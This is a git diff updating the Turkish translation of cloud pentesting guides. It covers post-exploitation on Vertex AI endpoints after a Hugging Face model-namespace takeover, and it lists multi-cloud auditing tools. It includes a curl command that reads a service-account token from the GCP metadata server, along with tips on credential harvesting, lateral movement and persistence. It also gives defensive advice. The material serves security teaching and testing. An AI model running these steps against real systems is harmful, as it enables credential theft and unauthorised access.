+- Endpoint tipik olarak sınırlı kapsamlı özel bir container içinde çalışır, ancak veri erişimi ve GCP'de lateral movement için geçerli bir ilk üs olabilir.
 
-## Post-Exploitation Tips (Vertex AI Endpoint)
+## Post-Exploitation İpuçları (Vertex AI Endpoint)
 
-Kod endpoint container içinde çalışmaya başladıktan sonra şu adımları düşünün:
-- Kimlik bilgileri/tokens için ortam değişkenleri ve metadata'yı enumerate etmek
-- Ekli storage'a veya mount edilmiş model artifact'larına erişmek
-- service account identity üzerinden Google API'leriyle etkileşim kurmak (Document AI, Storage, Pub/Sub, vb.)
-- Platform repo'yu yeniden çekerse model artifact içinde persistence sağlamak
+Kod endpoint container içinde çalışmaya başladıktan sonra şunları göz önünde bulundurun:
+- Kimlik bilgileri/tokenlar için environment variables ve metadata'yı listeleme
+- Bağlı storage veya mount edilmiş model artifact'larına erişim
+- service account identity aracılığıyla Google API'leri ile etkileşim (Document AI, Storage, Pub/Sub, vb.)
+- Platform repo'yu yeniden pull'larsa model artifact içinde persistence
 
-Erişilebiliyorsa instance metadata'yı enumerate edin (container bağımlı):
+Erişilebilirse instance metadata'yı enumerate edin (container'a bağlı):
 ```bash
 curl -H "Metadata-Flavor: Google" \
 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 ```
-## Vertex AI kullanıcıları için savunma rehberi
+## Vertex AI Kullanıcıları için Savunma Rehberi
 
-- HF loaders'ta modelleri commit'e göre sabitleyin; sessiz değiştirmeyi önlemek için:
+- Sessiz değiştirmeyi önlemek için HF loaders içinde modelleri commit'e göre sabitleyin:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Onaylanmış HF modellerini güvenilir dahili bir artifact store/registry'ye mirror'layın ve dağıtımı oradan yapın.
-- Kod tabanlarını ve konfigürasyonları, silinmiş/transfer edilmiş olarak hard-coded Author/ModelName için sürekli tarayın; yeni namespace'lere güncelleyin veya commit'e pinleyin.
-- Model Garden'da, dağıtımdan önce model provenance ve yazarın varlığını doğrulayın.
+- Onaylanmış HF modellerini güvenilir bir iç artifact store/registry'ye aynalayın ve oradan dağıtın.
+- Kod tabanlarını ve konfigürasyonları, silinmiş/transfer edilmiş hard-coded Author/ModelName için sürekli tarayın; yeni namespace'lere güncelleyin veya commit ile sabitleyin.
+- Model Garden'da, dağıtımdan önce modelin kökenini (provenance) ve author varlığını doğrulayın.
 
-## Recognition Heuristics (HTTP)
+## Tanıma Heuristikleri (HTTP)
 
-- Silinmiş yazar: yazar sayfası 404; legacy model yolu takeover'a kadar 404.
-- Transfer edilmiş model: legacy yol 307 ile yeni yazara yönlendirilir; eski yazar varken; eğer eski yazar daha sonra silinir ve yeniden kayıt olursa, legacy yol saldırgan içeriği sunar.
+- Deleted author: author sayfası 404; legacy model path 404 takeover gerçekleşene kadar.
+- Transferred model: legacy path, eski author varken yeni author'a 307 döner; eğer eski author daha sonra silinir ve yeniden kaydolursa, legacy path attacker içeriği servis eder.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
@@ -105,7 +105,7 @@ curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ../../pentesting-cloud-methodology.md
 {{#endref}}
 
-## Referanslar
+## Kaynaklar
 
 - [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
 - [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting Bulut Metodolojisi
+# Pentesting Cloud Metodolojisi
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,39 @@
 
 ## Temel Metodoloji
 
-Her bulutun kendine özgü özellikleri vardır ancak genel olarak bir pentester'ın bulut ortamını test ederken kontrol etmesi gereken birkaç **ortak şey** vardır:
+Her bulutun kendine özgü özellikleri vardır fakat genel olarak bir pentester'ın bir bulut ortamını test ederken kontrol etmesi gereken birkaç **ortak şey** vardır:
 
-- **Benchmark checks**
-- Bu, ortamın **büyüklüğünü anlamanıza** ve **kullanılan servisleri** görmenize yardımcı olur
-- Ayrıca çoğu testi **otomatik araçlarla** gerçekleştirebildiğiniz için bazı **hızlı yanlış yapılandırmaları** bulmanızı sağlar
+- **Benchmark kontrolleri**
+- Bu, ortamın **büyüklüğünü** ve **kullanılan servisleri** anlamanıza yardımcı olur
+- Ayrıca çoğu testi **otomatik araçlarla** gerçekleştirebileceğiniz için bazı **hızlı yanlış yapılandırmaları** bulmanızı sağlar
 - **Services Enumeration**
-- Benchmark testlerini doğru yaptıysanız burada muhtemelen çok daha fazla yanlış yapılandırma bulamayacaksınız, ama benchmark testinde aranmayan bazıları çıkabilir.
-- Bu, bulut ortamında **tam olarak nelerin kullanıldığını** bilmenizi sağlar
-- Bir sonraki adımlarda çok yardımcı olur
-- **Check exposed assets**
-- Bu önceki bölüm sırasında yapılabilir, Internet'e bir şekilde **potansiyel olarak açılan her şeyi** ve nasıl erişildiğini **belirlemeniz** gerekir.
-- Burada manuel olarak açılmış altyapıyı ele alıyorum; örneğin web sayfası ya da diğer portları açılmış instance'lar ve ayrıca açılabilecek şekilde **konfigüre edilebilen diğer cloud managed servisler** (ör. DB'ler veya bucket'lar)
-- Sonra bu kaynağın **açılıp açılamayacağını** kontrol etmelisiniz (gizli bilgi mi? zafiyetler mi? açılmış serviste yanlış konfigürasyon mu?)
-- **Check permissions**
-- Burada bulut içindeki her rol/kullanıcının **tüm izinlerini bulmalı** ve nasıl kullanıldığını incelemelisiniz
-- Çok **fazla yüksek ayrıcalıklı** (her şeyi kontrol eden) hesap var mı? Oluşturulmuş anahtarlar kullanılmıyor mu?... Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalı
-- Eğer müşteri OpenID veya SAML veya başka bir **federation** kullanıyorsa, her rolün **nasıl atandığı** hakkında daha fazla **bilgi** istemeniz gerekebilir (admin rolünün 1 kullanıcıya mı yoksa 100 kullanıcıya mı atandığı aynı şey değildir)
-- Sadece hangi kullanıcıların **admin** izinlerine sahip olduğunu "\*:\*" bulmak **yeterli değildir**. Kullanılan servislere bağlı olarak çok **duyarlı** olabilecek birçok **diğer izin** vardır.
-- Ayrıca, izinleri kötüye kullanarak takip edilebilecek **potansiyel privesc** yolları vardır. Tüm bu konular dikkate alınmalı ve **mümkün olduğunca çok privesc yolu** raporlanmalıdır.
-- **Check Integrations**
-- Bulut ortamı içinde **diğer bulutlar veya SaaS ile entegrasyonların** kullanılması çok muhtemeldir.
-- Denetlediğiniz bulutun diğer platformlarla olan **entegrasyonları** için, o entegrasyonu **kimlerin (kötü)kullanabileceğini** bildirmeli ve gerçekleştirilen eylemin ne kadar **duyarlı** olduğunu sormalısınız.\
-Örneğin, GCP'nin veri aldığı bir AWS bucket'ına kimlerin yazabildiğini sorun (GCP'de o verinin işlenmesinin ne kadar duyarlı olduğunu sorun).
-- Dış platformlardan denetlediğiniz bulut içine olan **entegrasyonlar** için, o entegrasyonu **dışarıdan kimlerin (kötü)kullanabildiğini** sormalı ve bu verinin nasıl kullanıldığını kontrol etmelisiniz.\
-Örneğin, bir servis GCR'de barındırılan bir Docker image kullanıyorsa, o image'ı kimlerin değiştirebildiğini ve image çalıştırıldığında hangi hassas bilgi ve erişimlerin elde edileceğini sormalısınız.
+- Eğer benchmark testlerini doğru uyguladıysanız burada muhtemelen çok daha fazla yanlış yapılandırma bulamayacaksınız, ancak benchmark testinde aranmayan bazıları bulunabilir.
+- Bu, bulut ortamında **tam olarak neyin kullanıldığını** bilmenizi sağlar
+- Bu sonraki adımlarda çok yardımcı olacaktır
+- **Açıkta olan varlıkları kontrol et**
+- Bu önceki bölüm sırasında yapılabilir; internete potansiyel olarak açık olan her şeyi **bulmanız** ve nasıl erişilebildiğini belirlemeniz gerekir.
+- Burada web sayfaları veya diğer portları açık olan instances gibi **manuel olarak açıkta bırakılmış altyapıyı** ve ayrıca açılabilecek şekilde yapılandırılabilen diğer **cloud yönetimli servisleri** (ör. DBs veya buckets) ele alıyorum
+- Sonra bu kaynağın **açığa çıkarılabilir olup olmadığını** kontrol etmelisiniz (gizli bilgi? vulnerabilities? açığa çıkan servisteki yanlış yapılandırmalar?)
+- **İzinleri kontrol et**
+- Burada bulut içindeki her rol/kullanıcı için **tüm izinleri** ve bunların nasıl kullanıldığını **tespit etmelisiniz**
+- Çok fazla **yüksek ayrıcalıklı** (her şeyi kontrol eden) hesap mı var? Oluşturulmuş anahtarlar kullanılmıyor mu?... Bu kontrollerin çoğu zaten benchmark testlerinde yapılmış olmalı
+- Eğer müşteri OpenID veya SAML ya da başka bir **federation** kullanıyorsa, her rolün **nasıl atandığı** hakkında daha fazla **bilgi** istemeniz gerekebilir (admin rolünün 1 kullanıcıya mı yoksa 100 kullanıcıya mı atandığı aynı değildir)
+- Hangi kullanıcıların **admin** izinlerine "\*:\*" sahip olduğunu **bulmak yeterli değildir**. Kullanılan servislere bağlı olarak çok **hassas** olabilecek birçok **diğer izin** vardır.
+- Ayrıca, izinleri kötüye kullanarak takip edilebilecek **potansiyel privesc** yolları vardır. Tüm bu şeyler dikkate alınmalı ve mümkün olduğunca çok **privesc yolu** raporlanmalıdır.
+- **Entegrasyonları kontrol et**
+- Muhtemelen bulut ortamı içinde **başka cloud'lar veya SaaS ile entegrasyonlar** kullanılmaktadır.
+- Denetlediğiniz cloud'un diğer platformlarla olan **entegrasyonları** için, o entegrasyonu **kimlerin (ab)use edebildiğini** bildirmeli ve gerçekleştirilen eylemin **ne kadar hassas** olduğunu sormalısınız.\
+Örneğin, GCP'nin verileri aldığı bir AWS bucket'a kim yazabiliyor? (GCP'de o veriyi işlerken eylemin ne kadar hassas olduğunu sorun).
+- Dış platformlardan denetlediğiniz cloud içine yapılan **entegrasyonlar** için, o entegrasyonu dışarıdan **kimlerin (ab)use edebildiğini** sormalı ve bu verinin nasıl kullanıldığını kontrol etmelisiniz.\
+Örneğin, bir servis GCR'de barındırılan bir Docker image kullanıyorsa, o imajı kimlerin değiştirme erişimi olduğunu ve imaj AWS cloud içinde çalıştırıldığında hangi hassas bilgi ve erişimlere sahip olacağını sormalısınız.
 
-## Çoklu Bulut araçları
+## Multi-Cloud araçları
 
-Farklı bulut ortamlarını test etmek için kullanılabilecek çeşitli araçlar vardır. Kurulum adımları ve linkler bu bölümde belirtilecektir.
+Farklı bulut ortamlarını test etmek için kullanılabilecek birkaç araç vardır. Kurulum adımları ve linkler bu bölümde belirtilecektir.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Bulutlarda ve bulutlar/SaaS arasında kötü yapılandırmaları ve privesc yollarını **tanımlamak** için bir araç.
+Cloud'larda ve cloud'lar/SaaS arasında kötü yapılandırmaları ve privesc yollarını **belirlemek için bir araç**.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-**AWS, GCP & Azure**'yi destekler. Her sağlayıcıyı nasıl yapılandıracağınızı şu adreste inceleyin: [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+**AWS, GCP & Azure**'ı destekler. Her sağlayıcının nasıl yapılandırılacağını [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) adresinden kontrol edin.
 ```bash
 # Install
 pip install prowler
@@ -146,7 +146,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Steampipe'i indirin ve kurun ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Veya Brew kullanın:
+Steampipe'i indirin ve yükleyin ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Veya Brew kullanın:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -170,7 +170,7 @@ steampipe check all
 
 <summary>Tüm Projeleri Kontrol Et</summary>
 
-Tüm projeleri kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki script'teki yönergeleri izleyebilirsiniz.
+Projelerin tamamını kontrol etmek için test edilecek tüm projeleri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki scriptin yönergelerini izleyebilirsiniz.
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,9 +194,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Diğer **GCP içgörüleri**ni (servisleri keşfetmek için faydalı) kontrol etmek için kullanın: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Diğer **GCP içgörüleri** (servisleri listelemek için kullanışlı) kontrol etmek için kullanın: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Terraform GCP kodunu incelemek için: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Terraform GCP kodunu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
 Steampipe için daha fazla GCP eklentisi: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
@@ -234,15 +234,15 @@ Steampipe için daha fazla AWS eklentisi: [https://github.com/orgs/turbot/reposi
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-python2.7 gerektirir ve bakımsız görünüyor.
+python2.7 gerektirir ve bakımı yapılmıyor gibi görünüyor.
 
 ### Nessus
 
-Nessus, _**Audit Cloud Infrastructure**_ taraması ile şunları destekler: AWS, Azure, Office 365, Rackspace, Salesforce. Bir **Client Id** almak için **Azure**'da bazı ekstra yapılandırmalar gereklidir.
+Nessus, _**Audit Cloud Infrastructure**_ taraması ile şu platformları destekler: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure** için **Client Id** almak üzere bazı ek yapılandırmalar gereklidir.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist, bulut sağlayıcılarından (Hostnames, IP Addresses) **multi-cloud tool for getting Assets** sağlayan bir araçtır.
+Cloudlist, Cloud Providers'tan Assets (Hostnames, IP Addresses) almak için bir **multi-cloud tool**'dur.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde bir araya getiren bir Python aracıdır.
+Cartography, altyapı varlıklarını ve aralarındaki ilişkileri Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetler ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümüne toplar.
+Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetler ve sistemlerden varlıkları ve ilişkileri toplayıp Neo4j veritabanı destekli sezgisel bir grafik görünümünde sunar.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Taraılan AWS veya Azure ortamındaki en ayrıcalıklı kullanıcıları (AWS Shadow Admins dahil) keşfeder. powershell kullanır.
+Taranan AWS veya Azure ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admins dahil olmak üzere keşfeder. powershell kullanır.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,13 +372,13 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Bir şirketin (hedef) altyapısını, dosyalarını ve uygulamalarını önde gelen bulut sağlayıcılarında (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) bulmak için bir araç.
+Şirketin (hedefin) altyapısını, dosyalarını ve uygulamalarını en büyük bulut sağlayıcılarında (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) bulmak için bir araç.
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox, bulut altyapısında exploitable attack paths bulmak için bir araçtır (şu anda sadece AWS & Azure destekleniyor, GCP yakında eklenecek).
-- Manual pentesting'e yardımcı olmak üzere tasarlanmış bir enumeration aracıdır.
-- Bulut ortamı içinde herhangi bir veriyi oluşturmaz veya değiştirmez.
+- CloudFox, bulut altyapısında istismar edilebilir saldırı yollarını bulmak için bir araçtır (şu anda yalnızca AWS & Azure destekleniyor, GCP yakında eklenecek).
+- Bu, manuel pentesting'i tamamlamayı amaçlayan bir enumeration aracıdır.
+- Bulut ortamı içinde herhangi bir veri oluşturmaz veya değiştirmez.
 
 ### More lists of cloud security tools
 
@@ -412,11 +412,10 @@ azure-security/
 
 ### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) bir Azure aboneliğindeki kaynakların “attack graph”ini oluşturur. Bu, red teams ve pentesters'in bir tenant içindeki attack surface'i ve pivot fırsatlarını görselleştirmesine olanak tanır ve defender'larınızı incident response çalışmalarını hızlıca yönlendirmeleri ve önceliklendirmeleri konusunda güçlendirir.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. Bu, red teams ve pentesters'in bir tenant içindeki attack surface'i ve pivot fırsatlarını görselleştirmesini sağlar ve savunma ekiplerinizi olay müdahalesi çalışmalarında hızla yönlenip önceliklendirmelerini sağlayacak şekilde güçlendirir.
 
 ### Office365
 
-You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**.
-
+You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). Ancak, bu sınırlamalar bazı PS modüllerinde ortaya çıkar ve özelliklere **web uygulaması üzerinden** erişerek aşılabilir.
 
 {{#include ../banners/hacktricks-training.md}}